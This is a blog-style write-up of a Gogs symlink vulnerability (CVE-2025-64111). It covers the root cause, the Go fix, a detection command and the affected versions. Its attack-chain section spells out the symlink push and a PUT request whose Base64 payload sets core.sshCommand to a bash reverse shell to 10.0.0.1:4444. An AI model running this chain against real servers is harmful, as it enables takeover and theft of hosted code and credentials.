Feb 10, 2026·5 min read·12 visits
Gogs failed to recursively validate symbolic links in its file update API. Attackers can push a symlink to a repo, use the API to write through that link into `.git/config`, and achieve RCE via the `core.sshCommand` vector.
A critical Remote Command Execution (RCE) vulnerability in Gogs allows attackers to bypass directory restrictions via symbolic links. By tricking the API into writing to a symlink pointing at `.git/config`, an attacker can inject malicious Git configurations and execute arbitrary commands on the server.
There is a special place in a security researcher's heart for "failed patches." It’s that moment when a vendor fixes a vulnerability, pats themselves on the back, and completely misses the adjacent variation of the same bug. CVE-2025-64111 is exactly that—a zombie vulnerability rising from the grave of CVE-2024-56731.
Gogs, the lightweight, self-hosted Git service written in Go, had a problem. They knew users shouldn't be able to modify the internal .git directory via the API. They added checks. They added barriers. But they forgot one of the oldest tricks in the Unix handbook: Symbolic Links.
This isn't just a file overwrite bug; it's a logic flaw in how the application perceives the filesystem versus how the Operating System executes file operations. By exploiting this disconnect, we turn a simple "Update File" API endpoint into a full-blown Remote Command Execution (RCE) vector.
The root cause lies in a classic Time-of-Check to Time-of-Use (TOCTOU) discrepancy, specifically involving path resolution. The Gogs API endpoint PUT /api/v1/repos/{owner}/{repo}/contents/{filepath} allows users to update files in a repository. To prevent sabotage, Gogs checks if the target path is inside .git/ or other sensitive areas.
However, this check was superficial. It looked at the string of the filepath provided in the URL. If I request to update my_innocent_file.txt, the validator smiles and lets me pass. It fails to check if my_innocent_file.txt is actually a symbolic link pointing to .git/config.
When the Go backend executes os.WriteFile (or similar write operations), the OS standard library transparently follows symbolic links. The application thinks it's writing to a user file; the OS resolves the pointer and overwrites the repository's configuration. This is like checking an ID card at the front door but ignoring the tunnel dug straight into the bank vault.
Let's look at why the code failed and how it was fixed. The vulnerability existed because the validation logic didn't walk the filesystem tree. It trusted the path name.
The fix introduced in version 0.13.4 forces a recursive check. The developers added a helper function, hasSymlinkInPath, which splits the path into segments and runs os.Lstat on every single one of them. If any part of the chain is a symlink, the operation is aborted.
Here is the logic that killed the bug:
// The fix: explicitly walking the path to find symlinks
func hasSymlinkInPath(base, relPath string) bool {
parts := strings.Split(filepath.ToSlash(relPath), "/")
for i := range parts {
// Construct path segment by segment
filePath := path.Join(append([]string{base}, parts[:i+1]...)...)
// Lstat reads the file info without following links
if osutil.IsSymlink(filePath) {
return true
}
}
return false
}This is a heavy operation—it requires multiple syscalls for every file write—but in a security context involving user-controlled filesystems, it is the only way to be sure you aren't writing where you shouldn't.
So we can overwrite .git/config. How do we get a shell? We use the core.sshCommand configuration option. This setting tells Git: "When you need to connect to a remote server via SSH, run this command instead of the default ssh binary."
Here is the attack chain:
Preparation: The attacker creates a Git repository locally.
The Trap: They create a symbolic link named innocent.txt pointing to .git/config and push this to the Gogs server.
ln -s .git/config innocent.txt
git add innocent.txt; git commit -m "oops"; git pushThe Trigger: The attacker uses the Gogs API to "update" innocent.txt. They send a payload containing a malicious Git config.
PUT /api/v1/repos/victim/repo/contents/innocent.txt
{
"content": "W2NvcmVdCiAgc3NoQ29tbWFuZCA9IC9iaW4vYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4wLjAuMS80NDQ0IDAmMSc=",
"message": "Updating documentation"
}(The Base64 decodes to [core] sshCommand = /bin/bash -c ...)
Execution: The attacker triggers any server-side Git operation that requires a remote connection (like a mirror sync or a test hook). Gogs executes git fetch, which reads the config, sees sshCommand, and executes the reverse shell.
This is a CVSS 9.3 for a reason. Gogs is often used to host proprietary source code, credentials, and CI/CD configurations.
Remote Command Execution on the Gogs server usually means:
Since the exploit requires authentication (to push the repo and call the API), it is technically "Post-Auth," but given that Gogs instances often have open registration or many low-privileged users, the barrier to entry is dangerously low.
If you are running Gogs <= 0.13.3, you are vulnerable. The fix is available in version 0.13.4 and the 0.14.0+dev branch.
find /path/to/gogs-repositories -name config -type f -exec grep -H "sshCommand" {} \;sshCommand in any repo config that you didn't put there, you have been compromised.CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Gogs Gogs | <= 0.13.3 | 0.13.4 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-59 (Link Resolution) |
| Attack Vector | Network (API) |
| CVSS Score | 9.3 (Critical) |
| Impact | Remote Command Execution (RCE) |
| Exploit Status | PoC Available |
| Vector | Symlink Path Traversal |
Improper Link Resolution Before File Access ('Link Following')